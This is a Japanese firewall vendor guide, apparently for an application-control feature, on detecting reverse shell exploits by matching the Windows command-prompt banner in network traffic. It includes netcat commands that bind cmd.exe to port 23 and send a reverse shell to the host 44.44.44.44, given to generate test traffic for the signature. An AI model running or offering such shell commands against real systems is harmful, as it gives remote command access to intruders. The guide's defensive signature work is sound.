リバース シェル悪用の防御

アプリケーション制御の個別のシグネチャ機能 (個別のシグネチャ を参照) を使用すると、リバース シェル悪用攻撃を防ぐことができます。リバース シェル悪用は、攻撃者がゼロデイ (Zero-day) 悪用によってシステムへの侵入に成功した場合に使用される可能性があります。ゼロデイ悪用とは、そのシグネチャがまだセキュリティ ソフトウェアで認識されない攻撃のことです。

まだ知られていない初期の段階では、悪意のあるペイロードは防御の最前線、つまりインターネット ゲートウェイで実行されている IPS やゲートウェイ アンチウイルス (GAV) を通過できます。さらに、ホストベースのアンチウイルス ソフトウェアなど、その次の防御線まで通過して、攻撃対象のシステムで任意のコードを実行できます。

多くの場合、実行されるコードには、攻撃者がリモートから (悪用するサービスやログオン ユーザの権限を使用して) コマンド プロンプト ウィンドウを開き、そこから侵入に着手するために必要な最小限の命令が含まれています。

NAT/ファイアウォールがあると、悪用するシステムに能動的に接続できないことがあるので、それらを迂回する一般的な手段として、攻撃者は脆弱なシステムにリバース シェルを実行させます。リバース シェルでは、攻撃対象のホストから攻撃者のアドレスに対して接続が開始されます。 しかも、厳格な送信ポリシーをうまく回避するために、既知の TCP/UDP ポートが使用されます。

この使用事例は、ウィンドウズ システムをホストしている環境で、すべての TCP/UDP ポートを介した暗号化されていない接続をインターセプトする場合に適用できます。

この使用事例では、リバース シェル ペイロードの特定の事例 (送信接続) を扱っていますが、受信接続に対しても有効になるようにポリシーを設定すると安全性が向上します。これにより、実行されたペイロードが脆弱なホストにリスニング シェルを生成し、攻撃者が誤って設定されたファイアウォール経由でそのサービスに接続するような事例を防ぐことができます。

実際の設定では、次の作業を行う必要があります。

netcat ツールを使用して、特徴を検出する実際のネットワーク活動を生成する
Wireshark ツールを使用して活動をキャプチャし、ペイロードをテキスト ファイルにエクスポートする
トピック:

ネットワーク アクティビティの生成

netcat ツールが備える多くの機能の 1 つに、プログラムの出力を送信接続またはリスニング接続にバインドする機能があります。次の使用例は、リスニング“コマンド プロンプト デーモン"を設定する方法、またはリモート エンドポイントに接続して、対話型のコマンド プロンプトを提供する方法を示しています。

nc l p 23 e cmd.exe

ポート 23 に接続するホストから Windodws4 プロンプトを利用できるようになります (-l オプションは、既定の暗黙的な接続モードとは逆のリスン モードを表しています)。

nc e cmd.exe 44.44.44.44 23

ホスト 44.44.44.44 が次の netcat コマンドを使用してポート 23 でリスンしている場合に、ホスト44.44.44.44 からウィンドウ プロンプトを利用できるようになります。

nc l p 23

Wireshark を使用したペイロードのキャプチャおよびテキスト ファイルへのエクスポート

データをキャプチャするには、Wireshark を起動し、「Capture > Interfaces」を選択してキャプチャ ダイアログを開きます。netcat トラフィックを処理するインターフェースでキャプチャを開始します。キャプチャを開始したらすぐに netcat コマンドを実行し、キャプチャを終了します。

次の図は、そのような接続時のネットワーク上のデータ フローを示しています (Vista Enterprise、2007 年 6 月)。

16 進データをテキスト ファイルにエクスポートし、パケット ヘッダー、不必要な部分や変化する部分およびスペースを取り除きます。ここで関係があるのは "Microsoft… reserved." の部分です。これには Wireshark の 16 進ペイロード エクスポート機能を使用します。Wireshark については、Wireshark を参照してください。

一致オブジェクトの作成

Vista のコマンド プロンプト バナーを表す一致オブジェクトのオブジェクト内容として、次の 16 進文字を入力します。

4D6963726F736F66742057696E646F7773205B56657273696F6E20362E302E363030305D0D0A436F70797269676874202863292032303036204D6963726F73667420436F72706F726174696F6E2E

同じ方法でウィンドウズ 2000 およびウィンドウズ XP のホストからも類似のエントリを取得し、それらを使用して別の一致オブジェクトを作成します。 次に示すような 3 つの一致オブジェクトが作成されます。

ウィンドウズ サーバ 2003 やその他のバージョンのウィンドウズの例も、ここで説明した方法で簡単に取得できます。

Linux/Unix の管理者は、このシグネチャ ベースの防御を利用するために、既定の環境変数をカスタマイズする必要があります。 通常、既定のプロンプトは、前述のように使用できるほど具体的でも一意でもありません。

ポリシーの定義

一致オブジェクトを作成したら、そのオブジェクトを使用するポリシーを定義します。次の図は、他のポリシーの設定を示しています。この例の「ポリシー名」と「方向」の設定は、リバース シェル専用になっています。前述のように、「方向」の設定を「両方」に変更し、より汎用的な名前を付けることで、適用範囲を広げることもできます。

接続のリセット/破棄後に、ネットワーク アクセスの種別を示すログ エントリが生成されます。次のログ エントリのスクリーンショットには、アプリケーション制御の警告であることを示すメッセージのほか、ポリシー名が表示されています。

経験則として、適切なセキュリティ対策には多層のインテリジェンスが組み込まれており、ある 1 つの方法だけを悪意のあるコードに対する決定的な防御と見なすことはできません。